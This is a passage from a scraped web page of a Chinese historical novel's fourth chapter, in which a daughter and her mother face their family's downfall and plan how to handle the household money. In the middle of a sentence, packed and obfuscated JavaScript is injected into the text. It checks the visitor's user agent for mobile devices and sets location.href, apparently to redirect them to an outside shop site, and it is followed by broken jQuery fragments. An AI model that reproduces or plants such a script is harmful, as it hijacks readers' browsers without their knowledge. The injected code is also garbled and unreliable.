4. 第四章
我也活不了。”

    “周家要么被流放,要么被砍头。大体上,周家就这两种结果。”

    周绥将从邸抄上所得直言相告,残忍地告诉她现状,“女眷可能被一道流放,也可能被没入教坊司。无论何种,哭皆无用。先要养好身子,别到时病恹恹,成为拖累。何况,死都不惧,哭天抢地作甚!”

    江琼娘愣住,怔怔望着周绥,熟悉的眉眼,却觉得陌生至极,仿佛已经不认识她。

    想到她的改变,先前一直悬在心里的疑惑,此刻再按捺不住。

    “岁岁,阿承回京后,没见他来给我请安。现在你阿爹出了事,他也不见人影。”

    江琼娘一把紧抓住周绥搭在案几上的手,尖声问道:“大难临头各自飞!岁岁,阿承可是变了心?你老实告诉阿娘,你脖子上的伤,可是他所为?”

    周绥否认了,“我告诉你大难临头各自飞,眼下周家落难,人心多变,须得多防着些。”

    郇度狡诈,冷酷无情,江琼娘不宜与他为敌。

    江琼娘方松了口气,又难受起来,“是啊,人心多变,你阿爹一生磊落,往常那些交好的友人,不知有谁会施以援手。”

    周绥对周昭临一无所知,一时没答话。周昭临的德行,在帝王威严下,无甚用处。

    这时,黄氏、蝉鸣提着食盒进屋,取出炊饼汤并两道白切肉放在案桌上。

    黄氏道:“灶房米面不缺,新鲜吃食却不多了。天气日渐炎热,奴婢恐鲜肉发臭,煮了些上来。”

    江琼娘对吃喝并不上心,此时哪有胃口,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16960707|193285||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    将小菜推到周绥面前,道:“岁岁你多吃些。”

    周绥对周家吃食虽看不上眼,胜在新鲜,勉强能入口。

    黄氏的话提醒了周绥,她百密一疏,从未吃过苦,更不愿吃苦。

    即使置身眼下的境况,她也要过得舒适些!

    江琼娘略微吃了几口,便放下了碗筷。周绥没劝她,自己吃得七八分饱。

    饭后漱完口,周绥拿出钱袋,道:“家中的钱财,必须赶紧理一理。”

    江琼娘牵挂着牢中的周昭临,无暇顾及这些,道:“岁岁,我的银子都在这里,你阿爹的钱财也不多。余下便是你的嫁妆,田产动不了,压箱底的银子,共有一百两。你若急需,我去给你取。”

    郇度那里肯定有银子,周绥先不管他,解释道:“银子没了能再赚,要是被抄家,这些都留不住。蝉鸣一家略微给一些,给抄家的留一些,其余的分散出去,用来吃喝。”

    散出去的银子,周绥不求回报,用来赌一丝可能,留个善缘。

    江琼娘愣愣问道:“宅子被封着,门外有皇城司人看守,你要如何分散出去?”

    “皇城司就四人,周宅只得妇孺、文弱书生,他们不会片刻不离盯着。”

    周绥打算等下出去打探一下,看门外有几人守着。江琼娘已是惊弓之鸟,她未做多言,问道:“住在书院的先生,谁最忠厚善良?”

    “你打算找书院先生帮忙?”

    江琼娘一拍额头,道:“我晕了头,书院里有先生、学生,平时得你阿爹看顾,总能派上些用场。在书院中,你阿爹与钱先生、林

本章未完,请点击下一页继续阅读>>